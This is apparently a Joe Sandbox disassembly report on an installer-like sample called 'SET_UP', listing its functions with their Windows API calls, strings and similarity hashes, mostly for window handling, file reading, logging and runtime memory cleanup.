Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ByteCharExecuteFileMultiShellWide$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL$[InternetShortcut]URL=$open$url
API String ID: 520909297-1843308693
Opcode ID: 8bc00398d5293b0250de6306ed1dda1b06050babaab32e3f069a9330a55431e4
Instruction ID: 5a4553f4c44c985e2ba1191af5fef60d5933b707a6a4c433f7bae91ad6477ad2
Opcode Fuzzy Hash: 8bc00398d5293b0250de6306ed1dda1b06050babaab32e3f069a9330a55431e4
Instruction Fuzzy Hash: 6B812871900285EFFB20DF68CC46FEA7FE5EB15300F104129E6599B2C2D7705A49C7A2

Function 000B6980 Relevance: 21.2, APIs: 14, Instructions: 245COMMON

Download Yara Rule

APIs

FillRect.USER32(?,?,00000010), ref: 000B6A1F
FillRect.USER32(?,?,00000006), ref: 000B6A52
FillRect.USER32(?,?,00000011), ref: 000B6A74
FillRect.USER32(?,?,00000011), ref: 000B6A8A
GetWindowLongW.USER32(?,000000EC), ref: 000B6AF5
DrawEdge.USER32(?,?,00000005,0000000A), ref: 000B6B1A
GetWindowLongW.USER32(?,000000EC), ref: 000B6B64
DrawEdge.USER32(?,?,0000000A,0000200F), ref: 000B6B7D
FillRect.USER32(?,?,0000000D), ref: 000B6B8A
GetWindowLongW.USER32(?,000000EC), ref: 000B6BE0
DrawEdge.USER32(?,?,0000000A,0000200F), ref: 000B6BF9
FillRect.USER32(?,?,0000000D), ref: 000B6C06

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: FillRect$DrawEdgeLongWindow
String ID:
API String ID: 954985401-0
Opcode ID: 22f2cebb32303f8fa876f201c09b0eff88560c53259a2467e2441daebc0cfee7
Instruction ID: 01909fc2e2a9d9c658491177eb8d5a3f5463102419d0667654f2cfe27be1fd03
Opcode Fuzzy Hash: 22f2cebb32303f8fa876f201c09b0eff88560c53259a2467e2441daebc0cfee7
Instruction Fuzzy Hash: 3E915C71D01208AFDB14CFA8CA44BEEBBF8EF19310F148259E915B7291D735AE84CB91

Function 000B8E40 Relevance: 21.2, APIs: 14, Instructions: 230windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000B8E6D
GetWindowLongW.USER32(?,000000F0), ref: 000B8E82
SetWindowLongW.USER32(?,000000F0,00000000), ref: 000B8E99

Part of subcall function 00078700: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,000E5BDA,C000008C,00000001,?,000E5C0B,00000000,?,00000000,?,00073C47,00000000,0CE81EE3), ref: 0007870C

Part of subcall function 000B9C00: GetParent.USER32(?), ref: 000B9C2D
Part of subcall function 000B9C00: GetParent.USER32(00000000), ref: 000B9C30
Part of subcall function 000B9C00: GetParent.USER32(00000000), ref: 000B9C33
Part of subcall function 000B9C00: GetParent.USER32(?), ref: 000B9C44
Part of subcall function 000B9C00: ShowWindow.USER32(?,00000000,?,00000000,?), ref: 000B9C7B
Part of subcall function 000B9C00: GetDlgItem.USER32(?,0000040E), ref: 000B9C8E
Part of subcall function 000B9C00: GetDlgItem.USER32(?,000003F0), ref: 000B9C9D
Part of subcall function 000B9C00: GetDlgItem.USER32(?,000003F0), ref: 000B9CAC
Part of subcall function 000B9C00: GetDlgItem.USER32(?,0000040E), ref: 000B9CB7
Part of subcall function 000B9C00: GetWindowLongW.USER32(00000000,000000F0), ref: 000B9CCC
Part of subcall function 000B9C00: SetWindowLongW.USER32(?,000000F0,00000000), ref: 000B9CEA
Part of subcall function 000B9C00: GetDlgItem.USER32(?,000003EC), ref: 000B9D1A
Part of subcall function 000B9C00: ShowWindow.USER32(00000000,00000000,?,?,00000000,?), ref: 000B9D1F
Part of subcall function 000B9C00: GetDlgItem.USER32(?,0000041A), ref: 000B9D2C
Part of subcall function 000B9C00: ShowWindow.USER32(00000000,00000000,?,?,00000000,?), ref: 000B9D31
Part of subcall function 000B9C00: GetDlgItem.USER32(?,0000040F), ref: 000B9D3E

GetWindowLongW.USER32(?,000000EC), ref: 000B8EAD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000B8EC1
SendMessageW.USER32(?,0000007F,00000000,00000000), ref: 000B8ECF
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 000B8EE2
GetDlgItem.USER32(?,0000E801), ref: 000B8EEF
IsWindow.USER32(00000000), ref: 000B8EF8
DestroyWindow.USER32(00000000), ref: 000B8F14
GetClientRect.USER32(?,?), ref: 000B8F6C
GetDlgItem.USER32(?,000003F5), ref: 000B8FFF
GetWindowRect.USER32(00000000,?), ref: 000B9013
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 000B9028

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Item$Long$Parent$Show$MessageRectSend$ClientDestroyExceptionPointsRaise
String ID:
API String ID: 217829412-0
Opcode ID: 1dc05f6264debe8086486a3a2e8aec7c5a038198961e2ca0b42cb6fee9e4b794
Instruction ID: 0e4666bea8245fa65401095cda867c2eb1dc97e3003c564c46ac1a74c39f9d4f
Opcode Fuzzy Hash: 1dc05f6264debe8086486a3a2e8aec7c5a038198961e2ca0b42cb6fee9e4b794
Instruction Fuzzy Hash: 97918070608301EFD754DF28C948BAABBE5FF84310F108A29F5A5D76A1DB71E894CB91

Function 000BC2B0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 193windowCOMMON

Download Yara Rule

APIs

SetPropW.USER32(?,IsExterior,00000001), ref: 000BC306
GetWindowLongW.USER32(?,000000EC), ref: 000BC317
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000BC328
RemovePropW.USER32 ref: 000BC381
GetParent.USER32(?), ref: 000BC3CC
SendMessageW.USER32(00000000,?,?,?), ref: 000BC3D9
GetDlgItem.USER32(?,0000E801), ref: 000BC42C
ShowWindow.USER32(00000000,00000000), ref: 000BC43E
GetClientRect.USER32(?,?), ref: 000BC47C
SendMessageW.USER32(?,0000101D,00000000,00000000), ref: 000BC497
SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 000BC4B3

Strings

IsExterior, xrefs: 000BC2FE, 000BC372

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageSendWindow$LongProp$ClientItemParentRectRemoveShow
String ID: IsExterior
API String ID: 1925185345-3989742051
Opcode ID: b48ec3154ab6c0a5f4eb35f6ab8bb930824f04e2c5a98c9c0ca2b2c653113b48
Instruction ID: c84840253ff8ab26b968ff6aa17bc2939e284dcce3a0cf9cbbda8737512b1847
Opcode Fuzzy Hash: b48ec3154ab6c0a5f4eb35f6ab8bb930824f04e2c5a98c9c0ca2b2c653113b48
Instruction Fuzzy Hash: 9161D3706047009FEB24DF28E899FABB7E1FB48314F10461DF59696690C772E945CBE2

Function 000A0920 Relevance: 21.2, APIs: 14, Instructions: 170COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(428D0824,000000F0), ref: 000A0967
GetParent.USER32 ref: 000A097D
GetWindowRect.USER32(428D0824,?), ref: 000A0988
GetParent.USER32(428D0824), ref: 000A0990
GetClientRect.USER32(00000000,?), ref: 000A099F
GetClientRect.USER32(?,?), ref: 000A09A8
MapWindowPoints.USER32(00000002,00000000,?,00000002), ref: 000A09B4
GetWindow.USER32(?,00000004), ref: 000A09C2
GetWindowRect.USER32(428D0824,?), ref: 000A09D0
GetWindowLongW.USER32(00000000,000000F0), ref: 000A09DD
MonitorFromWindow.USER32(428D0824,00000002), ref: 000A09F5
GetMonitorInfoW.USER32(00000000,00000004), ref: 000A0A0F
SetWindowPos.USER32(?,00000000,?,?,000000FF,000000FF,00000015), ref: 000A0ABD

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Rect$ClientLongMonitorParent$FromInfoPoints
String ID:
API String ID: 3127921553-0
Opcode ID: 8791599379cfbb3081f8dbb042248ecbe10a0dace9d55dc455765535df4f1fcb
Instruction ID: 253bc7da0b91527527eacf23bd404bffcbdaac543bbb122451ce8ac97ed5702f
Opcode Fuzzy Hash: 8791599379cfbb3081f8dbb042248ecbe10a0dace9d55dc455765535df4f1fcb
Instruction Fuzzy Hash: 92516372D042199FDB14CFA8CE45AEEBBB9FB49710F254229E815F3290DB30AD40CB90

Function 000E7128 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0014A5E4,00000FA0,?,?,000E7106), ref: 000E7134
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,000E7106), ref: 000E713F
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,000E7106), ref: 000E7150
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 000E7162
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 000E7170
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,000E7106), ref: 000E7193
DeleteCriticalSection.KERNEL32(0014A5E4,00000007,?,?,000E7106), ref: 000E71AF
CloseHandle.KERNEL32(00000000,?,?,000E7106), ref: 000E71BF

Strings

kernel32.dll, xrefs: 000E714B
SleepConditionVariableCS, xrefs: 000E715C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 000E713A
WakeAllConditionVariable, xrefs: 000E7168

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 87d6f7b88435f4ae0f3ccc7e0f262833e5964b8c259e14e542c8e76ab0560c5f
Instruction ID: fcd9ef70435b2ed15829105ac245f6d70fbc35a10b7fd2898418eb2a60f97350
Opcode Fuzzy Hash: 87d6f7b88435f4ae0f3ccc7e0f262833e5964b8c259e14e542c8e76ab0560c5f
Instruction Fuzzy Hash: 1501D8746C8311BFE7181F7ABE0DB9736A89F41B517058055F904E7A60EB74C88087E2

Function 000BF490 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 373synchronizationCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 000BF4C1
WaitForSingleObject.KERNEL32(?,0000000A), ref: 000BF5D0
GetTickCount.KERNEL32 ref: 000BF5F8
WaitForSingleObject.KERNEL32(?,0000000A), ref: 000BF611
SetEvent.KERNEL32(?,-00001860,-00001040,-00000820), ref: 000BF827

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

GetLastError.KERNEL32 ref: 000BF8B8
SetEvent.KERNEL32(?), ref: 000BF8C9

Strings

Command , xrefs: 000BF6DB
executed. Return code: , xrefs: 000BF75C
Waiting for commands. File map name: , xrefs: 000BF51A
%s("%s", "%s", "%s"), xrefs: 000BF729

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CountEventObjectSingleTickWait$ErrorHeapLastProcess
String ID: executed. Return code: $%s("%s", "%s", "%s")$Command $Waiting for commands. File map name:
API String ID: 277822026-3193615611
Opcode ID: d92a58096f0776e80d3e21af839cdd0a6c835377b12d4224a1eb9766b6704163
Instruction ID: 13ff5b9fdf689950c907a04d8ccde67a3b5994e286c098b111b8069d88f8a2c4
Opcode Fuzzy Hash: d92a58096f0776e80d3e21af839cdd0a6c835377b12d4224a1eb9766b6704163
Instruction Fuzzy Hash: 43E18E31A0064A9FDB04DBA8CC49BEEB7F5FF45310F188269E515E7292EB749944CBA0

Function 000FE104 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 000FE148

Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD41B
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD42D
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD43F
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD451
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD463
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD475
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD487
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD499
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD4AB
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD4BD
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD4CF
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD4E1
Part of subcall function 000FD3FE: _free.LIBCMT ref: 000FD4F3

_free.LIBCMT ref: 000FE13D

Part of subcall function 000F550A: HeapFree.KERNEL32(00000000,00000000,?,000FDB53,?,00000000,?,?,?,000FDDF6,?,00000007,?,?,000FE29B,?), ref: 000F5520
Part of subcall function 000F550A: GetLastError.KERNEL32(?,?,000FDB53,?,00000000,?,?,?,000FDDF6,?,00000007,?,?,000FE29B,?,?), ref: 000F5532

_free.LIBCMT ref: 000FE15F
_free.LIBCMT ref: 000FE174
_free.LIBCMT ref: 000FE17F
_free.LIBCMT ref: 000FE1A1
_free.LIBCMT ref: 000FE1B4
_free.LIBCMT ref: 000FE1C2
_free.LIBCMT ref: 000FE1CD
_free.LIBCMT ref: 000FE205
_free.LIBCMT ref: 000FE20C
_free.LIBCMT ref: 000FE229
_free.LIBCMT ref: 000FE241

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: f0fc69e5c1e85f44503d7fc6903b425601bd95441caf2d0c47240482b7a151eb
Instruction ID: 5237ea18559df049b3139a458c0bdaea4a9fddd370f1d921a68c751a970a6111
Opcode Fuzzy Hash: f0fc69e5c1e85f44503d7fc6903b425601bd95441caf2d0c47240482b7a151eb
Instruction Fuzzy Hash: B0314032A00A49AFEB719A79DC45BB673EAFF00711F144429E749D79A2DF34EE40A710

Function 000972D0 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 306filethreadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009730D
EnterCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009731A
GetCurrentProcessId.KERNEL32( [PID=,00000006,0012CCDC,00000002), ref: 000973B8
GetCurrentThreadId.KERNEL32 ref: 000973D7
SetFilePointer.KERNEL32(00000002,00000000,00000000,00000002,0012C014,00000002,?,?,?,?), ref: 000975BF
WriteFile.KERNEL32(00000002,?,?,?,00000000), ref: 000975D8
FlushFileBuffers.KERNEL32(00000002), ref: 000975E1
LeaveCriticalSection.KERNEL32(?,0012C014,00000002,?,?,?,?), ref: 00097614

Strings

|, xrefs: 00097496
|Thread=, xrefs: 000973CB
[PID=, xrefs: 000973AB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalFileSection$Current$BuffersEnterFlushInitializeLeavePointerProcessThreadWrite
String ID: [PID=$|$|Thread=
API String ID: 1632547082-768267952
Opcode ID: 0cc28bdba32f1eb5b5b812a04f05f7c5dfa83655a2e1a279f6f8ae390203f8f9
Instruction ID: 4b63e27f239b64bce0b706b3c1fab07cd610d7a70eca9a2e837719cf67d8060d
Opcode Fuzzy Hash: 0cc28bdba32f1eb5b5b812a04f05f7c5dfa83655a2e1a279f6f8ae390203f8f9
Instruction Fuzzy Hash: 10B1AE31A406059BDB04DF68CC49BAEBBB5FF55310F14C168E819AB2A2DB74AD45CBA0

Function 000C0430 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 263stringsynchronizationCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000410,0CE81EE3,00000000,00000000,?,00000000,001134E5,000000FF,?,80004005), ref: 000C047C
lstrcpynW.KERNEL32(?,000000FF,00000410,?,?,00000410,0CE81EE3,00000000,00000000,?,00000000,001134E5,000000FF,?,80004005), ref: 000C0491
lstrcpynW.KERNEL32(?,001134E5,00000410,?,000000FF,00000410,?,?,00000410,0CE81EE3,00000000,00000000,?,00000000,001134E5,000000FF), ref: 000C04A6
lstrcpynW.KERNEL32(?,00000000,00000410,?,001134E5,00000410,?,000000FF,00000410,?,?,00000410,0CE81EE3,00000000,00000000), ref: 000C04BB
ResetEvent.KERNEL32(00000000,?,00000000,00000410,?,001134E5,00000410,?,000000FF,00000410,?,?,00000410,0CE81EE3,00000000,00000000), ref: 000C04C0
SetEvent.KERNEL32(00000000,?,00000000,00000410,?,001134E5,00000410,?,000000FF,00000410,?,?,00000410,0CE81EE3,00000000,00000000), ref: 000C04C9
GetLastError.KERNEL32(?,00000000,00000410,?,001134E5,00000410,?,000000FF,00000410,?,?,00000410,0CE81EE3,00000000,00000000), ref: 000C04D7

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 000972D0: InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009730D
Part of subcall function 000972D0: EnterCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009731A
Part of subcall function 000972D0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0012CCDC,00000002), ref: 000973B8
Part of subcall function 000972D0: GetCurrentThreadId.KERNEL32 ref: 000973D7

WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,00000410,?,001134E5,00000410,?,000000FF,00000410,?,?,00000410,0CE81EE3,00000000), ref: 000C05E4

Strings

Unable to set command event., xrefs: 000C052A
LastError: , xrefs: 000C0536, 000C064B
WaitForSingleObject failed., xrefs: 000C063F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: lstrcpyn$CriticalCurrentEventProcessSection$EnterErrorHeapInitializeLastObjectResetSingleThreadWait
String ID: LastError: $Unable to set command event.$WaitForSingleObject failed.
API String ID: 695769194-1705198249
Opcode ID: d0c2736921fc1a8f50bc81441e89efe644adf9f7f042f92dc470133c8d4c8104
Instruction ID: 3eafa265f279d89dc322978e0e9b7b31820090cae96215331034bef89334db60
Opcode Fuzzy Hash: d0c2736921fc1a8f50bc81441e89efe644adf9f7f042f92dc470133c8d4c8104
Instruction Fuzzy Hash: 7E919075A00608EFD714EF68D849F9ABBA4EF44320F14C269F9198B2D2DB74E950CB90

Function 0009C2E0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 168fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000080,00000000,0CE81EE3,?,00000000,?), ref: 0009C31F
GetLastError.KERNEL32 ref: 0009C33D
GetFileSize.KERNEL32(00000000,00000000), ref: 0009C34D
GetLastError.KERNEL32 ref: 0009C35A
CloseHandle.KERNEL32(00000000), ref: 0009C4CF

Strings

utf-16, xrefs: 0009C3F2
utf-8, xrefs: 0009C3D2
US-ASCII, xrefs: 0009C44C
ISO-8859-1, xrefs: 0009C42F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleSize
String ID: ISO-8859-1$US-ASCII$utf-16$utf-8
API String ID: 3555958901-3020978663
Opcode ID: 64fedff3570318ad540a6a13a572cc6755cd94f830b9ad6a2b8d689b20c76164
Instruction ID: 950e745808175d6505450585d6bfc65668acc05bb3b34f4648b60447b812db95
Opcode Fuzzy Hash: 64fedff3570318ad540a6a13a572cc6755cd94f830b9ad6a2b8d689b20c76164
Instruction Fuzzy Hash: 25510331A40204EFEF10DF64DC45FAE7BA9EF54724F10C129F815AB292EB709A04D791

Function 000FD4FC Relevance: 18.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 000FD544
_free.LIBCMT ref: 000FD568
_free.LIBCMT ref: 000FD575
_free.LIBCMT ref: 000FD59A
_free.LIBCMT ref: 000FD5A7
_free.LIBCMT ref: 000FD5B0
_free.LIBCMT ref: 000FD88A
_free.LIBCMT ref: 000FD892

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 086d22fe925581f1e02786edb4eb4c8c2f06a9eba1983826dcbfccc30c70fe88
Instruction ID: 4de9dc7f87bcd3f4a140154467d33b0df8134a9d682d07db23d34dce6edeef7e
Opcode Fuzzy Hash: 086d22fe925581f1e02786edb4eb4c8c2f06a9eba1983826dcbfccc30c70fe88
Instruction Fuzzy Hash: 66C144B2E40609BFDB60DB98CC42FEEB7F9AB09740F144165FB09FB682D5709A419750

Function 000BA250 Relevance: 18.1, APIs: 12, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000DCE50: SetWindowTextW.USER32(00000000,?), ref: 000DCEA1
Part of subcall function 000DCE50: SendMessageW.USER32(00000000,00000402,?,00000000), ref: 000DCEC4

GetParent.USER32(?), ref: 000BA2E0
GetParent.USER32(00000000), ref: 000BA2E3
GetParent.USER32(00000000), ref: 000BA2E6
GetSystemMenu.USER32(00000000,00000001,?,?,?), ref: 000BA2EB
GetParent.USER32(?), ref: 000BA2F7
GetParent.USER32(00000000), ref: 000BA2FA
GetParent.USER32(00000000), ref: 000BA2FD
DrawMenuBar.USER32(00000000), ref: 000BA300
GetParent.USER32(?), ref: 000BA35E
PostMessageW.USER32(00000000,00000471,00000002,00000000), ref: 000BA36A

Part of subcall function 000BAFA0: GetWindowLongW.USER32(?,000000F0), ref: 000BAFD5
Part of subcall function 000BAFA0: GetParent.USER32(?), ref: 000BAFDF

GetParent.USER32(?), ref: 000BA38A
PostMessageW.USER32(00000000,00000471,00000001,00000000), ref: 000BA396

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

